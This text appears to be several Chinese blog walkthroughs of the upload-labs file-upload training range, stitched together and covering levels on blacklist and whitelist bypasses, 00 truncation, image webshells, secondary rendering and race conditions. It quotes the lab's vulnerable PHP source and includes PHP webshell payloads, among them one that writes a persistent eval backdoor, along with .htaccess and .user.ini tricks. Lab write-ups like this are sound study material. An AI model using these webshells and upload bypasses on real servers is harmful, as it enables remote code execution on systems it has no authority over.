    在这里插入图片描述
        又换了一下图片,上传成功了,但是进行访问时并没有查看到phpinfo的信息,我们将返回给我们的图片保存下来,到editplus里面查看。
    在这里插入图片描述
    在这里插入图片描述
        发现,原本写在图片末尾phpinfo消失不见了,整个图片中都搜索不到了,这是因为服务器对图片进行了二次渲染。
        二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
        这一关我选择使用gif图片,因为gif更加稳定,容易成功一些,我们来打开我们的burpsuite,把第一张,带有phpinfo的图片上传,进行抓包,将两个图片都发送到Compare模块进行比较,通过比较,我们可以看到图片中有很大一片区域是没有被改动过的,我们在这片区域里面插入我们的php代码即可。

    在这里插入图片描述

        通过对比,能看到,有这么一块儿地方,全是00,这种地方修改应该会更加稳妥,就在这儿修改吧
    在这里插入图片描述
        点击数据包的hex,找到这个位置,来一个一个的修改就好了
    在这里插入图片描述
        gif图片的应该是最容易成功的,至于jpg和png的我没有去深究,看到一篇很详细的文章,大家可以去看一下,戳这里

    if (isset($_POST['submit'])){
        // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
        $filename = $_FILES['upload_file']['name'];
        $filetype = $_FILES['upload_file']['type'];
        $tmpname = $_FILES['upload_file']['tmp_name'];
    
        $target_path=UPLOAD_PATH.'/'.basename($filename);
    	//basename() 函数返回路径中的文件名部分。
        
        $fileext= substr(strrchr($filename,"."),1);// 获得上传文件的扩展名
    
        //判断文件后缀与类型,合法才进行上传操作
        if(($fileext == "jpg") && ($filetype=="image/jpeg")){
            if(move_uploaded_file($tmpname,$target_path)){
               
                $im = imagecreatefromjpeg($target_path);
                 //使用上传的图片生成新的图片
    			/*imagecreatefromjpeg,由文件或 URL 创建一个新图象,
    			成功则返回图像资源,失败返回false*/
                if($im == false){
                    $msg = "该文件不是jpg格式的图片!";
                    @unlink($target_path);
                    //ulink:删除文件
                }else{
                    //给新图片指定文件名
                    
                    srand(time());
                    //根据系统时间生成一个随机数
                    $newfilename = strval(rand()).".jpg";
                    //strval — 获取变量的字符串值  
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    //生成新图片的存储路径
                    imagejpeg($im,$img_path);
    				//imagejpeg — 输出图象到浏览器或文件。 
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "png") && ($filetype=="image/png")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefrompng($target_path);
    
                if($im == false){
                    $msg = "该文件不是png格式的图片!";
                    @unlink($target_path);
                }else{
                     //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".png";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagepng($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;               
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "gif") && ($filetype=="image/gif")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromgif($target_path);
                if($im == false){
                    $msg = "该文件不是gif格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".gif";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagegif($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
        }else{
            $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
        }
    }
    

    十八关

        奇怪,我直接上传就成功了,原来是我糊涂了,人家说的是上传webshell,没有说让我上传图片马。

        但是这一关提示我们进行代码审计,看上去似乎没有什么问题

    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_name = $_FILES['upload_file']['name'];
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_ext = substr($file_name,strrpos($file_name,".")+1);
        //取后缀名
        $upload_file = UPLOAD_PATH . '/' . $file_name;
        //生成文件上传存储路径
    
        if(move_uploaded_file($temp_file, $upload_file)){
        //将临时文件移动到存储路径
            if(in_array($file_ext,$ext_arr)){
            //判断文件后缀名是否合法
                 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
                 rename($upload_file, $img_path);
                 //合法则将文件重命名
                 $is_upload = true;
            }else{
            //不合法则删除报错,并删除文件
                $msg = "只允许上传.jpg|.png|.gif类型文件!";
                unlink($upload_file);
            }
        }else{
            $msg = '上传出错!';
        }
    }
    

    通过分析源代码,可以发现存在逻辑漏洞

    1. 先将文件移动到存储目录后才进行判断是否合法
    2. 将文件移动到存储目录后才进行重命名

        由此也就产生了漏洞,会有一个短暂的时间将我们上传的webshell存储在目录下,且以我们上传的文件名的形式
        但是这个时间相当相当短暂,以至于,你打开上传目录,点击上传文件,你连影子都看不到就已经没了,所以这个时候我们可以使用burpsuite,我们先抓包,然后发送到intruder模块。
        点击clear去除所有参数,然后payload选择无,并且选择持续发包。
    在这里插入图片描述
        然后开启爆破,再打开浏览器刷新界面就行了,最终成功访问到phpinfo。
    在这里插入图片描述
        但是文件在被访问后依旧会被删除,所以可以利用php代码创建一个新的木马文件,在成功访问到页面时即会生成木马文件

    <?php fputs(fopen("info.php", "w"), '<?php @eval($REQUEST["x"]);?>'); ?>
    

    这里有链接

    十九关

        依旧提示我们需要代码审计,那就再来看一下代码
        上传一个合法文件时,生成的文件路径是这样的,估计是写函数的时候失误了,将文件目录与文件名进行拼接的时候少写了一个/

    http://192.168.2.135/upload-labs-master/upload1604394444.gif
    
    主文件:
    if (isset($_POST['submit']))
    {
        require_once("./myupload.php");
        $imgFileName =time();
        $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    	//生成一个MyUpload类的对象
        $status_code = $u->upload(UPLOAD_PATH);
    	//调用upload函数,传递的参数为默认存储目录
        switch ($status_code) {
            case 1:
                $is_upload = true;
                $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
    			//如果上传成功,则返回上传的图片
                break;
            case 2:
                $msg = '文件已经被上传,但没有重命名。';
                break; 
            case -1:
                $msg = '这个文件不能上传到服务器的临时文件存储目录。';
                break; 
            case -2:
                $msg = '上传失败,上传目录不可写。';
                break; 
            case -3:
                $msg = '上传失败,无法上传该类型文件。';
                break; 
            case -4:
                $msg = '上传失败,上传的文件过大。';
                break; 
            case -5:
                $msg = '上传失败,服务器已经存在相同名称文件。';
                break; 
            case -6:
                $msg = '文件无法上传,文件不能复制到目标目录。';
                break;      
            default:
                $msg = '未知错误!';
                break;
        }
    }
    
    类和函数:
    <?php
    
    class MyUpload{    
    
      var $cls_upload_dir = "";         // 上传目录
    	var $cls_filename = "";           // 上传文件名
    	var $cls_tmp_filename = "";       // 临时文件名
      var $cls_max_filesize = 33554432; // 文件最大长度
      var $cls_filesize ="";            // Actual file size.
      var $cls_arr_ext_accepted = array(
          ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
          ".html", ".xml", ".tiff", ".jpeg", ".png" );//允许的后缀名类型
      var $cls_file_exists = 0;         // 设置为1检查文件是否已存在
      var $cls_rename_file = 1;         // 设置为1,将上传后的文件重命名
      var $cls_file_rename_to = '';     // 重命名后的新文件名
      var $cls_verbal = 0;              // 设置为1返回字符串而不是错误码
    
     
      function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
    	//构造函数
        $this->cls_filename = $file_name;
        $this->cls_tmp_filename = $tmp_file_name;
        $this->cls_filesize = $file_size;
        $this->cls_file_rename_to = $file_rename_to;//文件重命名为
      }
    
      function isUploadedFile(){
        
        if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
    	//is_uploaded_file — 判断文件是否是通过 HTTP POST 上传的 
          return "IS_UPLOADED_FILE_FAILURE";
        } else {
          return 1;
        }
      }
    
      function setDir( $dir ){
        
        if( !is_writable( $dir ) ){
    	//is_writable — 判断给定的文件(夹)名是否可写 
          return "DIRECTORY_FAILURE";
        } else { 
          $this->cls_upload_dir = $dir;
          return 1;
        }
      }
    
      function checkExtension(){    
    
        if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
    		//判断上传文件的后缀名是否是允许上传的类型
    		// strtolower( strrchr( $this->cls_filename, "." ))-获取后缀名并转换为小写
          return "EXTENSION_FAILURE";
        } else {
          return 1;
        }
      }
    
      function checkSize(){
    
        if( $this->cls_filesize > $this->cls_max_filesize ){
    	//判断上传文件的大小是否小于最大长度
          return "FILE_SIZE_FAILURE";
        } else {
          return 1;
        }
      }
    
      function move(){
        
        if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
    		//判断移动文件是否成功
          return "MOVE_UPLOADED_FILE_FAILURE";
        } else {
          return 1;
        }
    
      }
    
      function checkFileExists(){
        
        if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
    		//检查文件移动的目标文件名是否已存在
    		//file_exists — 检查文件或目录是否存在 
          return "FILE_EXISTS_FAILURE";
        } else {
          return 1;
        }
      }
    
      function renameFile(){
    
        if( $this->cls_file_rename_to == '' ){
    
          $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
          $this->cls_file_rename_to = "" ; 
          mt_srand (( double) microtime() * 1000000 ); 
          for ( $i = 0; $i<8 ; $i++ ){
            $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
    		//随机截取八个字符,作为文件名
          }
        }    
        	
        $extension = strrchr( $this->cls_filename, "." );
        $this->cls_file_rename_to .= $extension;
    	//给文件名添加上扩展名形成完整文件名
        
        if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
    	//判断是否命名成功
          return "RENAME_FAILURE";
        } else {
          return 1;
        }
      }
    
      function upload( $dir ){
        
        $ret = $this->isUploadedFile();
    	//调用isUploadedFile函数判断上传文件的文件名是否是用过http post方式上传的
        
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->setDir( $dir );
    	//判断目标文件(夹)是否可写
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkExtension();
    	//判断文件后缀名是否合法
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkSize();
    	//判断文件大小是否合法
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
            
        if( $this->cls_file_exists == 1 ){
          //如果设置了“cls_file_exists = 1 ”,那么调用checkFileExists检查目标路径是否已存在
          $ret = $this->checkFileExists();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
    
        $ret = $this->move();
    	//调用move函数,移动文件
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
    
        if( $this->cls_rename_file == 1 ){
    		//检查cls_rename_file是否设置为1,如果设置了,调用renameFile将文件重命名
          $ret = $this->renameFile();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
        
        return $this->resultUpload( "SUCCESS" );
      
      }
    
      function resultUpload( $flag ){
    
        switch( $flag ){
          case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
            break;
          case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
            break;
          case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
            break;
          case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
            break;
          case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
            break;
          case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
            break;
          case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
            break;
          case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
            break;
          default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
            break;
        }
      }
    
    }; // end class
    ?>
    

        程序执行流程我已经写在上面的代码里面了,网上都说是条件竞争,但是讲真,这个条件竞争漏洞还不太好利用起来。
        首先,这个程序先检查了后缀名,后缀名合法的才能通过,光是这一点就使得必须要搭配文件解析漏洞或者文件包含漏洞才能利用了。
        那我们所能利用的就只有文件未被重命名这一点,那这一点能帮助我们干嘛呢?
        如果上传后会返回我们文件路径的话,我们可以直接搭配文件包含和文件解析使用,要是不返回路径的话,难道就依靠我们去目录爆破,找到上传文件存储目录来使用原文件名进行利用吗?似乎也只有这个解释了。
        方法和上一关是一样的,不过需要搭配文件包含和解析漏洞。

    二十关

        这一关比较特别,这一关需要选择上传的文件,同时还需要填写保存的文件名。那我们可以测试一下,这一关的校验机制到底是校验上传的文件,还是校验保存的文件名,还是二者都有。
        上传.php文件,保存为.jpg文件,上传成功;上传.jpg文件,保存为.php文件,上传失败。这样看来校验的应该是保存的文件名,那么又需要看是白名单校验还是黑名单校验,还是上传.php文件,随便输入一个保存的文件名,随便输入一个后缀名,或者是不写后缀名,保存成功。说明是黑名单验证。那黑名单验证就有太多的绕过方式了。

    1. apache解析漏洞,保存为phpinfo.php.xxx
    2. windows文件存储特性,加 .和空格
    3. 00截断
    4. /.,move_uploaded_file会忽略掉文件末尾的/.(和windows存储特性不同,这个是函数的特性)。
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = $_POST['save_name'];
            $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
    
            if(!in_array($file_ext,$deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) { 
                    $is_upload = true;
                }else{
                    $msg = '上传出错!';
                }
            }else{
                $msg = '禁止保存为该类型文件!';
            }
    
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

    二十一关

    直接查看源码

    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
    
            $is_upload = false;
            $msg = null;
            if(!empty($_FILES['upload_file'])){
                //mime check
                $allow_type = array('image/jpeg','image/png','image/gif');
    			//检查Content-Type
                if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                    $msg = "禁止上传该类型文件!";
                }else{
                    //check filename
                    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    				//如果通过post提交'save_name'参数,将上传的文件名赋值给$file,否则将'save_name'参数值赋值给$file
                    if (!is_array($file)) {
    					
                        $file = explode('.', strtolower($file));
    					//$file如果不是数组,以'.'为分隔符,将字符串打散为数组
    					/*
    					phpinfo.jpg执行结果会是  
    					Array
    					(
    					[0]=>phpinfo
    					[1]=>jpg
    					)
    					*/
                    }
    
                    $ext = end($file);
    				//end()输出数组中最后一个元素
                    $allow_suffix = array('jpg','png','gif');
                    if (!in_array($ext, $allow_suffix)) {
                        $msg = "禁止上传该后缀文件!";
                    }else{
                        $file_name = reset($file) . '.' . $file[count($file) - 1];  //$file[count($file) - 1]--->$file[1]
    					//reset() 函数将内部指针指向数组中的第一个元素,并输出。
    					//count() 函数返回数组中元素的数目。
    					//如果后缀名合法则生成文件名phpinfo.jpg
                        $temp_file = $_FILES['upload_file']['tmp_name'];
                        $img_path = UPLOAD_PATH . '/' .$file_name;
                        if (move_uploaded_file($temp_file, $img_path)) {
                            $msg = "文件上传成功!";
                            $is_upload = true;
                        } else {
                            $msg = "文件上传失败!";
                        }
                    }
                }
            }else{
                $msg = "请选择要上传的文件!";
            }
            
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

    分析源码中的主要流程

    1. 校验Content-Type类型
    2. 取得提交的save_name参数或者是文件名赋值给$file,如果不是数组的话,以.为分隔符,将文件名拆散为数组
    3. 取出数组中的最后一个元素,进行后缀名判断
    4. 将数组中的array[0]array[count($file)-1]拼接起来生成文件名

        上面四个流程,表面上看上去是没有什么漏洞的,程序会校验数组的最后一个元素,经过校验之后,会将array[count($file)-1]作为后缀名拼接到array[0]之后。如果$file的值是一个文件名,那么程序执行是正常的。如果是一个连续的数组,执行也依旧正常,但是当出现下图中的情况时,就可被绕过。
    在这里插入图片描述

    展开全文
  • upload-labs通关笔记

    2021-06-07 23:46:19
    文章目录upload-labs通关笔记Pass-01 js检查Pass-02 Content-TypePass-03 黑名单验证Pass-04 黑名单验证(.htaccess绕过)Pass-05 黑名单验证(.user.ini)Pass-06 黑名单验证(大小写绕过)Pass-07 黑名单验证...

    upload-labs通关笔记

    学术不精,wp还不完整,再经过一段时间的学习之后,将其补充完整

    Pass-01 js检查

    查看源码

    在这里插入图片描述

    可知,允许上传的文件类型为 .jpg|.png|.gif

    我们上传一个jpg文件

    在这里插入图片描述

    burpsuite抓上传的包

    在这里插入图片描述

    将jpg改为php后,放包

    在这里插入图片描述

    上传成功!

    Pass-02 Content-Type

    查看源码

    在这里插入图片描述

    有源码可知,发现只判断Content-Type类型,所以我们只需修改Content-Type进行绕过即可

    首先上传php文件,抓上传包

    在这里插入图片描述

    在这里插入图片描述

    将红色划线部分修改为image/jpeg或image/png或image/gif后,放包,文件即上传成功!

    在这里插入图片描述

    Pass-03 黑名单验证

    查看源码

    在这里插入图片描述

    有源码可知,本关不允许上传.asp,.aspx,.php,.jsp类型的文件

    我们可以通过不常见的php扩展名绕过黑名单的限制

    比如.phtml,.php3,.php4,.php5

    在这里插入图片描述

    Pass-04 黑名单验证(.htaccess绕过)

    查看源码

    在这里插入图片描述

    有源码可知,黑名单拒绝了所有格式的文件后缀名,除了.htaccess

    所以此关通过.htaccess绕过进行上传

    首先,上传一个.htaccess文件

    内容为:SetHandler application/x-httpd-php

    文件命名为:.htaccess

    在这里插入图片描述

    接下来,上传一个.jpg文件

    内容为:<?php
    phpinfo();
    ?>

    在这里插入图片描述

    文件命名为:0.jpg(文件名自己定义)

    上传即可。

    Pass-05 黑名单验证(.user.ini)

    查看源码

    在这里插入图片描述

    有源码可知,本关没有被限制的后缀名有php7和.ini

    php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

    引发.user.ini需要的条件:

    • 服务器脚本语言为PHP

    • 服务器使用CGI/FastCGI模式

    • 上传目录下要有可执行的php文件

    首先,创建一个.user.ini文件并上传

    .user.ini文件里的意思是:所有的php文件都自动包含666.jpg文件。.user.ini相当于一个用户自定义的php.ini

    .user.ini文件的内容:auto_prepend_file=123.jpg

    在这里插入图片描述

    接着再上传一个123.jpg文件,内容为:<?php eval($_POST['123'])?>

    在这里插入图片描述

    然后修改php配置文件php-ini,将300改为10

    user_ini.cache_ttl控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

    在这里插入图片描述

    保存后重新启动phpstudy,等待10s后文件即可上传成功

    连接蚁剑,将文件名改为readme.php

    在这里插入图片描述

    在这里插入图片描述

    Pass-06 黑名单验证(大小写绕过)

    查看源码

    在这里插入图片描述

    有源码可知,本关过滤掉了.htaccess,但可以使用大小写绕过。

    本关可以不使用Burpsiute修改后缀名,直接修改即可。

    在Windows系统下,对于文件名中的大小写不敏感。

    一开始做的时候,无论上传.PhP还是.phP都不成功。

    后来发现是第五关源码文件中的$file_ext = strtolower($file_ext); //转换为小写语句没有注释掉,在前面加上//即可成功上传大小写后缀文件。

    Pass-07 黑名单验证(空格绕过)

    查看源码

    在这里插入图片描述

    由源码可知,代码中没有对上传文件的文件名做去空格处理,存在添加空格绕过黑名单的问题。

    Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。

    本关需要使用Burpsuite工具截断http请求,然后在文件名后添加空格。

    首先,添加一个php文件,截取上传的包,截取成功后,在文件名后缀php后添加空格。

    在这里插入图片描述

    添加完成后,放包,文件即上传成功!

    Pass-08 黑名单验证(点绕过)

    查看源码

    在这里插入图片描述

    有源码可知,其中缺少取出文件名最后点的处理。

    Windows系统下,文件后缀名的最后一个点会被自动去除。

    和Pass-06类似,只需将截取的包中,文件名后缀的结尾处添加.,文件即可上传成功!

    Pass-09 黑名单验证(特殊符号)

    查看源码

    在这里插入图片描述

    Windows系统下,如果上传的文件名test.php::$DATA会在服务器上生成一个test.php的文件。其中内容和所上传文件的内容相同,并被解析。

    和之前的关卡类似,首先上传一个php文件,将截取包中文件名的后缀之后添加::$DATA,文件即可上传成功。

    Pass-10 黑名单验证(路径拼接绕过)

    查看源码

    在这里插入图片描述

    由源码可知,上传后的文件没有进行随机化的重命名,直接保存在了服务器上。

    在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。

    在截取包的文件名后缀的最后添加. .(点 空格 点),文件即可上传成功。

    Pass-11 黑名单绕过(双写绕过)

    查看源码

    在这里插入图片描述

    在代码的编写过程中,只对黑名单中的内容进行空替换,由于只替换一次,所以造成双写绕过。

    str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

    该函数必须遵循下列规则:

    • 如果搜索的字符串是一个数组,那么它将返回一个数组。
    • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
    • 如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
    • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

    注释:该函数是不区分大小写的。请使用str_replace()函数执行区分大小写的搜索。

    **注释:**该函数是二进制安全的。

    同样,本关在截取包中的文件名后缀修改为.pphphp或其他双写形式即可。

    Pass-12 白名单验证(00截断_GET方式)

    查看源码

    在这里插入图片描述

    0x00是十六进制的表示方法,是ASCII码为0的字符,在某些函数处理时,会把它当做结束符。

    系统在对文件名进行读取时,若遇到0x00,会认为读取结束。

    GET型提交的内容会被自动进行URL解码。

    注意:需要关闭Apache配置文件中的GPC,否则无法成功。

    本关建议使用php5.3.4以下的版本。

    首先,上传一个.jpg文件

    在这里插入图片描述

    截取上传包,并修改文件名后缀

    在这里插入图片描述

    放包,文件即上传成功!

    验证:http://127.0.0.1/upload-labs-master/upload/0.php?/7120210526181717.php

    Pass-13 白名单验证(00截断_POST方式)

    查看源码

    在这里插入图片描述

    在POST请求中,%00不会被自动解码,需要在16进制中修改00

    选择.jpg文件上传,截取上传包

    在这里插入图片描述

    如图所示进行操作,在二进制中对%00进行修改,放包,文件即上传成功!

    Pass-14 图片webshell上传

    查看源码

    在这里插入图片描述

    在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。

    本关可直接上传图片马,图片马的制作方法我的上一篇博客有做介绍,可参考。

    首先我们需要简单了解文件包含漏洞

    文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

    php 中引发文件包含漏洞的通常是以下四个函数:

    1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

    2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。

    3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

    4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。

    当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。

    上传一个图片木马,截取上传包

    在这里插入图片描述

    蚁剑连接的URL:http://127.0.0.1/upload-labs-master/include.php?file=./upload/1720210530093823.jpg

    在这里插入图片描述

    Pass-15 getimagesize()图片马绕过

    查看源码

    在这里插入图片描述

    getimagesize()是PHP提供的方法,用以判断目标文件是否为图片。其返回结果中有文件大小和文件类型(通过读取文件的前八位的十六进制)。

    本关同样是上传图片马,我是用的方法是直接伪造头部。

    Pass-16 exif_imagetype()图片马绕过

    ···

    Pass-17 二次渲染绕过

    ···

    Pass-18 竞争条件绕过(1)

    查看源码

    在这里插入图片描述

    文件上传过程:服务器获取文件->保存上传临时文件->重命名移动临时文件

    Pass-19 竞争条件绕过(2)

    ···

    Pass-20 代码审计(1)

    查看源码

    在这里插入图片描述

    有源码可知,本关没有对上传的文件做判断,只对用户输入的文件名进行判断。

    首先,上传一个php木马文件,截取上传包

    在这里插入图片描述

    截取之后修改文件后缀名为.php/后放包,如下图

    在这里插入图片描述

    上传成功后,蚁剑连接

    在这里插入图片描述

    在这里插入图片描述

    文件即上传成功!

    Pass-21 代码审计(2)

    查看源码

    在这里插入图片描述

    首先,上传一个php木马文件,截取上传包,修改部分数据,如下图

    在这里插入图片描述

    放包,文件上传成功

    在这里插入图片描述

    蚁剑连接

    在这里插入图片描述

    在这里插入图片描述

    显示上传成功!

    展开全文
  • upload-labs通关攻略教程一(01-11关) Pass-12-(白名单验证,get型00截断) 查看题目源码 白名单判断,只允许三中文件类型。strrpos(string,find,start)函数查找字符串中最后一次出现的位置,这里是将后缀名提取...


    upload-labs通关攻略教程一(01-11关)

    Pass-12-(白名单验证,get型00截断)

    1. 查看题目源码
      在这里插入图片描述
      白名单判断,只允许三种文件类型。strrpos(string,find,start)函数查找字符串中最后一次出现的位置,这里是将后缀名提取赋值给file_exit.$img_path是直接拼接,我们可以通过抓包修改get参数,然后通过file_ext无效,这样就可以上传php文件因此可以利用%00截断绕过。
      %00截断的概念和原理
      url%00表示ASCll码中的0,而0作为特殊字符保留,表示字符结束;
      url中出现%00时就认为读取已结束,而忽略后面上传的文件或者图片,只上传截断前的文件或图片。
      要求php版本小于5.3.4,且php中的magic.quotes.gpcOFF状态
    2. 将路径改为path="upload/1.php%00",拼接之后,文件上传时就变成了"upload/1.php%001.jpg",这时上传便将1.php上传进去,而1.jpg被截断。修改一句话木马的文件后缀名为jpg上传,修改url。在这里插入图片描述
    3. 拖拽点击图片,看到php配置页面,即可说明上传成功。在这里插入图片描述

    Pass-13-(白名单验证,POST型00截断)

    方法1

    1. 查看源码,只允许三种文件类型上传。在这里插入图片描述
    2. 直接上传一个jpg文件且内容为<?php phpinfo();?>,上传后拖拽点击图片即可看到php配置的页面,说明文件上传成功。在这里插入图片描述

    方法2

    与第十二关的区别在于这里是使用POST传地址,POST不会对里面的数据自动解码,需要使用hex(十六进制编码)加上00截断。

    1. 上传含有一句话的文件1.jpg,使用burp抓包后,在上传路径出添加文件名1.php%00在这里插入图片描述
    2. 使用burp中的hex模块在php后面添加00进行截断,即将1.php十六进制编码后面添加00进行截断,点击send,查看响应。放包后,拖拽点击图片,即可看到php配置的页面,说名上传成功。【若用蚁剑连接,要注意文件名被修改,可以使用burp或者点击打开图片查看被修改后的文件名。】

    Pass-14-文件头检测

    方法1

    1. 查看源码和提示,源码意思为上传时只检查开始前两个字节的内容,unpack解密后,使用intval转换为10进制,默认为十进制,根据转换后的结果判断图片类型。大致想法可以使用图片木马的方式来实现绕过。在这里插入图片描述
    2. 使用010editor制作图片马,要注意将一句话木马插在图片数据靠中间的位置。在这里插入图片描述
    3. 上传成功后拖拽点击图片,看到php配置页面,说明上传成功。若采用蚁剑连接一句话木马的方法,要特别注意上传图片的文件名会被修改。(例如本关我上传的是2.png,上传成功后被修改的文件名如下)在这里插入图片描述
    4. 使用蚁剑连接时要注意,不可以直接连接,应该配合文件包含漏洞【在程序开发过程中,开发人员通常会把重复使用的函数写进单个文件中,在使用某个函数的时候,直接调用文件,这种调用文件的过程称为包含。程序开发人员都希望代码更加灵活,所以通常会把包含的文件设置为变量进行动态调用,但正是因为如此,导致客户端可以调用任意文件,造成文件包含漏洞,几乎所有的脚本语言都会提供文件包含功能】中的file协议【访问本次系统文件】。文件包含在读取文件源码的同时,如果遇到符号PHP语法规范的代码,就会无条件执行。
    5. 使用文件包含漏洞来连接图片马。(该靶场所有关均可以使用文件包含)在这里插入图片描述

    方法2

    1. 上传含有一句话木马的php文件,并使用burp抓包。
    2. 由于源码中提示,只允许jpg、png、gif三种后缀,因此在这里我们可以考虑在burp中添加GIF图片的文件头GIF89a,绕过GIF图片检查。(或者在010editor中打开图片,添加对应的文件头格式)在这里插入图片描述
      在这里插入图片描述
    3. 使用蚁剑连接时方法同上述方法1.

    Pass-15-getimagesize()函数(php用来判断目标文件是否为图片)

    1. 查看源码,再查看提示,使用getimagesize()来检查是否为图片格式,比如图片的长度和高度等。,因为源码中要求限制只有三种后缀允许上传,因此可以考虑制作图片木马。

    在这里插入图片描述

    1. 使用010editor在图片数据中间插入一句话木马,并保存图片。在这里插入图片描述
    2. 图片上传后,拖拽点击图片,看到php配置的页面,说明文件上传成功。(与上一关相同,图片上传成功后文件名被修改,利用蚁剑连接要特别注意)。在这里插入图片描述

    Pass-16-exif_imagetype()

    1. 查看源码,使用exif_imagetype()【读取一个图像的第一个字节并检查其签名。】检查是否为图片文件。在这里插入图片描述
    2. 使用与第13关相同的方法使用图片木马上传即可上传成功。

